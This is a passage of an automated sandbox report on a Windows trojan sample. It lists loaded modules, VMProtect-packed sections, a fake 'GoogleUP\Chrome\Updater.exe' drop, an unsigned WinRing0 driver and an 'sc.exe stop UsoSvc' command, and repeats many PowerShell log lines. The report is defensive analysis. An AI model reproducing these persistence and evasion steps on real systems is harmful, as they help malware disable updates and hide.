              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: Image base 0x140000000 > 0x60000000
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic file information: File size 6031872 > 1048576
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: Raw size of .vmp is bigger than: 0x100000 < 0x585a00
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Updater.exe, 00000022.00000003.1474645165.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, pjjtwoljkwri.sys.34.dr
              Source: initial sampleStatic PE information: section where entry point is pointing to: .vmp
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: section name: .00cfg
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: section name: .vmp
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: section name: .vmp
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: section name: .vmp
              Source: Updater.exe.0.drStatic PE information: section name: .00cfg
              Source: Updater.exe.0.drStatic PE information: section name: .vmp
              Source: Updater.exe.0.drStatic PE information: section name: .vmp
              Source: Updater.exe.0.drStatic PE information: section name: .vmp
              Source: C:\Windows\System32\conhost.exeCode function: 57_2_0000000140001394 push qword ptr [0000000140009004h]; ret 57_2_0000000140001403

              Persistence and Installation Behavior

              barindex
              Sample is not signed and drops a device driver
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile created: C:\Windows\TEMP\pjjtwoljkwri.sysJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile created: C:\Windows\Temp\pjjtwoljkwri.sysJump to dropped file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeFile created: C:\ProgramData\GoogleUP\Chrome\Updater.exeJump to dropped file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeFile created: C:\ProgramData\GoogleUP\Chrome\Updater.exeJump to dropped file
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile created: C:\Windows\Temp\pjjtwoljkwri.sysJump to dropped file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

              Hooking and other Techniques for Hiding and Protection

              barindex
              Loading BitLocker PowerShell Module
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
